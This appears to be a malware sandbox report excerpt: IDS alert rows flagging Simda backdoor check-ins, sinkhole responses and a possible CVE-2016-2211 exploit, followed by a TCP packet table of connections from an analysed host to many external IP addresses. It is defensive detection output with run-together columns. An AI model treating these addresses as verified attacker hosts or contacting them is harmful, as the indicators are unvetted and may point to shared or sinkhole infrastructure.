                                                                                                                                                                                                          2024-11-11T18:13:01.608258+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65886199.83.170.380TCP
                                                                                                                                                                                                          2024-11-11T18:13:01.668891+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.6588623.94.10.3480TCP
                                                                                                                                                                                                          2024-11-11T18:13:01.676303+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.658859188.114.96.380TCP
                                                                                                                                                                                                          2024-11-11T18:13:01.724546+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65886485.17.31.8280TCP
                                                                                                                                                                                                          2024-11-11T18:13:01.813943+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65886523.253.46.6480TCP
                                                                                                                                                                                                          2024-11-11T18:13:01.832545+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.649712154.212.231.8280TCP
                                                                                                                                                                                                          2024-11-11T18:13:02.202308+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.649712154.212.231.8280TCP
                                                                                                                                                                                                          2024-11-11T18:13:02.572421+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65886699.83.170.3443TCP
                                                                                                                                                                                                          2024-11-11T18:13:03.080897+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.658867188.114.96.3443TCP
                                                                                                                                                                                                          2024-11-11T18:13:03.442545+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.658859188.114.96.380TCP
                                                                                                                                                                                                          2024-11-11T18:13:03.832367+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.658863199.191.50.8380TCP
                                                                                                                                                                                                          2024-11-11T18:13:04.769913+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.658868188.114.96.3443TCP
                                                                                                                                                                                                          2024-11-11T18:13:05.642224+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65887013.248.169.4880TCP
                                                                                                                                                                                                          2024-11-11T18:13:05.646846+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.6588743.94.10.3480TCP
                                                                                                                                                                                                          2024-11-11T18:13:05.669775+01002018141ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz13.94.10.3480192.168.2.658874TCP
                                                                                                                                                                                                          2024-11-11T18:13:05.669775+01002037771ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst13.94.10.3480192.168.2.658874TCP
                                                                                                                                                                                                          2024-11-11T18:13:05.769791+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.658871188.114.96.380TCP
                                                                                                                                                                                                          2024-11-11T18:13:06.077941+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65887518.208.156.24880TCP
                                                                                                                                                                                                          2024-11-11T18:13:06.462607+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.658877103.150.10.4880TCP
                                                                                                                                                                                                          2024-11-11T18:13:07.771923+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.658877103.150.10.4880TCP
                                                                                                                                                                                                          2024-11-11T18:13:08.078083+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.658879188.114.96.3443TCP
                                                                                                                                                                                                          2024-11-11T18:13:08.496239+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.658871188.114.96.380TCP
                                                                                                                                                                                                          2024-11-11T18:13:11.604926+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.658899188.114.96.3443TCP
                                                                                                                                                                                                          2024-11-11T18:13:12.961856+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65892764.225.91.7380TCP
                                                                                                                                                                                                          2024-11-11T18:13:13.401820+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.66203544.221.84.10580TCP
                                                                                                                                                                                                          2024-11-11T18:13:13.403376+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.66203476.223.67.18980TCP
                                                                                                                                                                                                          2024-11-11T18:13:13.523144+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.662036103.224.212.21080TCP
                                                                                                                                                                                                          2024-11-11T18:13:13.737443+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.662038103.224.182.25280TCP
                                                                                                                                                                                                          2024-11-11T18:13:13.807991+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.662037154.85.183.5080TCP
                                                                                                                                                                                                          2024-11-11T18:13:14.143551+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.662037154.85.183.5080TCP
                                                                                                                                                                                                          2024-11-11T18:13:14.637457+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow14.245.163.56443192.168.2.662044TCP
                                                                                                                                                                                                          2024-11-11T18:13:16.408689+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.66111264.225.91.7380TCP
                                                                                                                                                                                                          2024-11-11T18:13:16.641080+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65543672.52.179.17480TCP
                                                                                                                                                                                                          2024-11-11T18:13:17.174275+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65544272.52.179.17480TCP
                                                                                                                                                                                                          2024-11-11T18:13:20.604330+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65200252.34.198.22980TCP
                                                                                                                                                                                                          2024-11-11T18:13:20.611365+01002018141ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz152.34.198.22980192.168.2.652002TCP
                                                                                                                                                                                                          2024-11-11T18:13:20.611365+01002037771ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst152.34.198.22980192.168.2.652002TCP
                                                                                                                                                                                                          2024-11-11T18:13:23.313714+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65536844.221.84.10580TCP
                                                                                                                                                                                                          2024-11-11T18:13:24.994411+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.649712154.212.231.8280TCP
                                                                                                                                                                                                          2024-11-11T18:13:25.072707+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.66329299.83.170.380TCP
                                                                                                                                                                                                          2024-11-11T18:13:25.108038+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.658859188.114.96.380TCP
                                                                                                                                                                                                          2024-11-11T18:13:25.154690+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.66329385.17.31.8280TCP
                                                                                                                                                                                                          2024-11-11T18:13:25.189398+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.649709208.100.26.24580TCP
                                                                                                                                                                                                          2024-11-11T18:13:25.196354+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.66329423.253.46.6480TCP
                                                                                                                                                                                                          2024-11-11T18:13:25.409596+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.649712154.212.231.8280TCP
                                                                                                                                                                                                          2024-11-11T18:13:25.499222+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.649709208.100.26.24580TCP
                                                                                                                                                                                                          2024-11-11T18:13:25.524137+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.663298199.59.243.22780TCP
                                                                                                                                                                                                          2024-11-11T18:13:25.859716+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.66329999.83.170.3443TCP
                                                                                                                                                                                                          2024-11-11T18:13:25.872635+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.66330285.17.31.8280TCP
                                                                                                                                                                                                          2024-11-11T18:13:26.150072+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.66330523.253.46.6480TCP
                                                                                                                                                                                                          2024-11-11T18:13:26.704377+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.663303188.114.96.3443TCP
                                                                                                                                                                                                          2024-11-11T18:13:27.063539+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.658859188.114.96.380TCP
                                                                                                                                                                                                          2024-11-11T18:13:28.835690+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.663317188.114.96.3443TCP
                                                                                                                                                                                                          2024-11-11T18:13:29.172224+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.658877103.150.10.4880TCP
                                                                                                                                                                                                          2024-11-11T18:13:29.383530+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.658871188.114.96.380TCP
                                                                                                                                                                                                          2024-11-11T18:13:29.751222+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.658877103.150.10.4880TCP
                                                                                                                                                                                                          2024-11-11T18:13:31.819056+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.663420188.114.96.3443TCP
                                                                                                                                                                                                          2024-11-11T18:13:32.153310+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.658871188.114.96.380TCP
                                                                                                                                                                                                          2024-11-11T18:13:35.478829+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.663440188.114.96.3443TCP
                                                                                                                                                                                                          2024-11-11T18:13:35.488167+01002021022ET MALWARE Wapack Labs Sinkhole DNS Reply11.1.1.153192.168.2.650679UDP
                                                                                                                                                                                                          2024-11-11T18:13:36.456276+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.662037154.85.183.5080TCP
                                                                                                                                                                                                          2024-11-11T18:13:36.603894+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.663471103.224.212.21080TCP
                                                                                                                                                                                                          2024-11-11T18:13:36.688747+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.663472103.224.182.25280TCP
                                                                                                                                                                                                          2024-11-11T18:13:37.366861+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.662037154.85.183.5080TCP
                                                                                                                                                                                                          2024-11-11T18:13:37.730038+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.6634803.94.10.3480TCP
                                                                                                                                                                                                          2024-11-11T18:13:37.730376+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.66348244.221.84.10580TCP
                                                                                                                                                                                                          2024-11-11T18:13:37.730377+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.66348375.2.71.19980TCP
                                                                                                                                                                                                          2024-11-11T18:13:37.917100+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.66348518.208.156.24880TCP
                                                                                                                                                                                                          2024-11-11T18:13:38.055288+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.663484188.114.97.380TCP
                                                                                                                                                                                                          2024-11-11T18:13:38.731382+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.663481199.191.50.8380TCP
                                                                                                                                                                                                          2024-11-11T18:13:39.454604+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.66349075.2.71.199443TCP
                                                                                                                                                                                                          2024-11-11T18:13:40.398222+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.663493188.114.97.3443TCP
                                                                                                                                                                                                          2024-11-11T18:13:41.260279+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.663484188.114.97.380TCP
                                                                                                                                                                                                          2024-11-11T18:13:41.266761+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.66351985.17.31.8280TCP
                                                                                                                                                                                                          2024-11-11T18:13:41.278855+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.663518199.59.243.22780TCP
                                                                                                                                                                                                          2024-11-11T18:13:41.305552+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.66352244.221.84.10580TCP
                                                                                                                                                                                                          2024-11-11T18:13:41.308273+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.66351723.253.46.6480TCP
                                                                                                                                                                                                          2024-11-11T18:13:41.312823+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.663521208.100.26.24580TCP
                                                                                                                                                                                                          2024-11-11T18:13:41.590924+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.66352572.52.179.17480TCP
                                                                                                                                                                                                          2024-11-11T18:13:41.723444+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.663520154.212.231.8280TCP
                                                                                                                                                                                                          2024-11-11T18:13:42.148856+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.66417772.52.179.17480TCP
                                                                                                                                                                                                          2024-11-11T18:13:44.500644+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.6505153.94.10.3480TCP
                                                                                                                                                                                                          2024-11-11T18:13:44.831510+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.650517199.59.243.22780TCP
                                                                                                                                                                                                          2024-11-11T18:13:44.831579+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65051844.221.84.10580TCP
                                                                                                                                                                                                          2024-11-11T18:13:44.832038+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65051985.17.31.8280TCP
                                                                                                                                                                                                          2024-11-11T18:13:44.858489+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65052044.221.84.10580TCP
                                                                                                                                                                                                          2024-11-11T18:13:44.886782+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65052123.253.46.6480TCP
                                                                                                                                                                                                          2024-11-11T18:13:44.924237+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.650522208.100.26.24580TCP
                                                                                                                                                                                                          2024-11-11T18:13:44.927023+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65052475.2.71.19980TCP
                                                                                                                                                                                                          2024-11-11T18:13:44.928733+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65052518.208.156.24880TCP
                                                                                                                                                                                                          2024-11-11T18:13:45.253290+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.664008188.114.97.380TCP
                                                                                                                                                                                                          2024-11-11T18:13:45.368432+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.650523154.212.231.8280TCP
                                                                                                                                                                                                          2024-11-11T18:13:46.150235+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65913775.2.71.199443TCP
                                                                                                                                                                                                          2024-11-11T18:13:46.654538+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65914085.17.31.8280TCP
                                                                                                                                                                                                          2024-11-11T18:13:48.094253+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.659144199.59.243.22780TCP
                                                                                                                                                                                                          2024-11-11T18:13:48.095790+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65914844.221.84.10580TCP
                                                                                                                                                                                                          2024-11-11T18:13:48.095867+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65914344.221.84.10580TCP
                                                                                                                                                                                                          2024-11-11T18:13:48.096802+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65914975.2.71.19980TCP
                                                                                                                                                                                                          2024-11-11T18:13:48.122409+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.659150208.100.26.24580TCP
                                                                                                                                                                                                          2024-11-11T18:13:48.122414+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65914523.253.46.6480TCP
                                                                                                                                                                                                          2024-11-11T18:13:48.299048+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.659139199.191.50.8380TCP
                                                                                                                                                                                                          2024-11-11T18:13:48.356584+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.659146188.114.97.380TCP
                                                                                                                                                                                                          2024-11-11T18:13:48.550901+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.659147154.212.231.8280TCP
                                                                                                                                                                                                          2024-11-11T18:13:50.233855+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65915385.17.31.8280TCP
                                                                                                                                                                                                          2024-11-11T18:13:50.251240+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.659155199.59.243.22780TCP
                                                                                                                                                                                                          2024-11-11T18:13:50.256494+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65915675.2.71.19980TCP
                                                                                                                                                                                                          2024-11-11T18:13:50.418151+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65915944.221.84.10580TCP
                                                                                                                                                                                                          2024-11-11T18:13:50.418617+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.6591613.94.10.3480TCP
                                                                                                                                                                                                          2024-11-11T18:13:50.502916+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.659154188.114.97.380TCP
                                                                                                                                                                                                          2024-11-11T18:13:51.433347+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.659157199.191.50.8380TCP
                                                                                                                                                                                                          2024-11-11T18:13:55.167613+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65917318.208.156.24880TCP
                                                                                                                                                                                                          2024-11-11T18:13:56.506333+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65918175.2.71.19980TCP
                                                                                                                                                                                                          2024-11-11T18:14:01.034668+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65623523.253.46.6480TCP
                                                                                                                                                                                                          2024-11-11T18:14:01.034718+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65917944.221.84.10580TCP
                                                                                                                                                                                                          2024-11-11T18:14:01.034785+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.656241154.212.231.8280TCP
                                                                                                                                                                                                          2024-11-11T18:14:01.034858+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.659180188.114.97.380TCP
                                                                                                                                                                                                          2024-11-11T18:14:01.034877+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65917844.221.84.10580TCP
                                                                                                                                                                                                          2024-11-11T18:14:01.034911+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.6562393.94.10.3480TCP
                                                                                                                                                                                                          2024-11-11T18:14:01.034931+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.656236199.59.243.22780TCP
                                                                                                                                                                                                          2024-11-11T18:14:01.034999+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.656237208.100.26.24580TCP
                                                                                                                                                                                                          2024-11-11T18:14:01.035022+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.656238199.191.50.8380TCP
                                                                                                                                                                                                          2024-11-11T18:14:01.035083+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.65624018.208.156.24880TCP
                                                                                                                                                                                                          2024-11-11T18:14:02.132036+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow120.12.23.50443192.168.2.656242TCP
                                                                                                                                                                                                          2024-11-11T18:14:52.315432+01002021022ET MALWARE Wapack Labs Sinkhole DNS Reply11.1.1.153192.168.2.653979UDP
                                                                                                                                                                                                          2024-11-11T18:14:52.861243+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.664560162.255.119.10280TCP
                                                                                                                                                                                                          2024-11-11T18:14:53.017386+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.664563208.100.26.24580TCP
                                                                                                                                                                                                          2024-11-11T18:14:53.018805+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.66456475.2.71.19980TCP
                                                                                                                                                                                                          2024-11-11T18:14:53.430822+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.66456544.221.84.10580TCP
                                                                                                                                                                                                          2024-11-11T18:14:53.430947+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.664563208.100.26.24580TCP
                                                                                                                                                                                                          2024-11-11T18:14:53.431060+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.664562188.114.97.380TCP
                                                                                                                                                                                                          2024-11-11T18:14:53.431330+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.664567199.59.243.22780TCP
                                                                                                                                                                                                          2024-11-11T18:14:53.431341+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.6645693.94.10.3480TCP
                                                                                                                                                                                                          2024-11-11T18:14:53.431341+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.66457018.208.156.24880TCP
                                                                                                                                                                                                          2024-11-11T18:14:53.431383+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.66456844.221.84.10580TCP
                                                                                                                                                                                                          2024-11-11T18:14:53.668671+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.66457291.195.240.1980TCP
                                                                                                                                                                                                          2024-11-11T18:14:53.706698+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.664566154.212.231.8280TCP
                                                                                                                                                                                                          2024-11-11T18:14:53.962120+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.66457375.2.71.199443TCP
                                                                                                                                                                                                          2024-11-11T18:14:54.081011+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.664566154.212.231.8280TCP
                                                                                                                                                                                                          2024-11-11T18:14:55.015481+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.664571199.191.50.8380TCP
                                                                                                                                                                                                          2024-11-11T18:14:55.048956+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.664574188.114.97.3443TCP
                                                                                                                                                                                                          2024-11-11T18:14:55.488395+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.6645615.79.71.20580TCP
                                                                                                                                                                                                          2024-11-11T18:14:55.488590+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.664575188.114.97.380TCP
                                                                                                                                                                                                          2024-11-11T18:14:59.550793+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.6645765.79.71.20580TCP
                                                                                                                                                                                                          2024-11-11T18:15:00.260759+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.66457713.248.169.4880TCP
                                                                                                                                                                                                          2024-11-11T18:15:00.565021+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.6645793.94.10.3480TCP
                                                                                                                                                                                                          2024-11-11T18:15:00.697014+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.66458018.208.156.24880TCP
                                                                                                                                                                                                          2024-11-11T18:15:00.725808+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.664578188.114.96.380TCP
                                                                                                                                                                                                          2024-11-11T18:15:01.185431+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.664581103.150.10.4880TCP
                                                                                                                                                                                                          2024-11-11T18:15:03.585249+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.664584103.150.10.4880TCP
                                                                                                                                                                                                          2024-11-11T18:15:04.331530+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.664582188.114.96.3443TCP

                                                                                                                                                                                                          Network Port Distribution

                                                                                                                                                                                                          TCP Packets

                                                                                                                                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.884264946 CET4970780192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.887000084 CET4970880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.887423038 CET4971080192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.887480021 CET4970980192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.890405893 CET804970723.253.46.64192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.890476942 CET4970780192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.890520096 CET4971180192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.891082048 CET4970780192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.893183947 CET804970844.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.893243074 CET4970880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.893342018 CET804971085.17.31.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.893353939 CET8049709208.100.26.245192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.893402100 CET4971080192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.893512964 CET4970880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.893512964 CET4970980192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.893631935 CET4970980192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.893734932 CET4971080192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.895363092 CET804971118.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.895426035 CET4971180192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.895742893 CET4971180192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.895876884 CET804970723.253.46.64192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.899893999 CET804970844.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.899907112 CET8049709208.100.26.245192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.901494980 CET804971085.17.31.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.902055025 CET804971118.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.945907116 CET4971280192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.950860023 CET8049712154.212.231.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.950951099 CET4971280192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.951148033 CET4971280192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.955897093 CET8049712154.212.231.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.985682011 CET4971380192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.990777969 CET804971344.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.990850925 CET4971380192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.990952969 CET5885980192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.995755911 CET8058859188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.995821953 CET5885980192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.996090889 CET5885980192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.999512911 CET4971380192.168.2.644.221.84.105
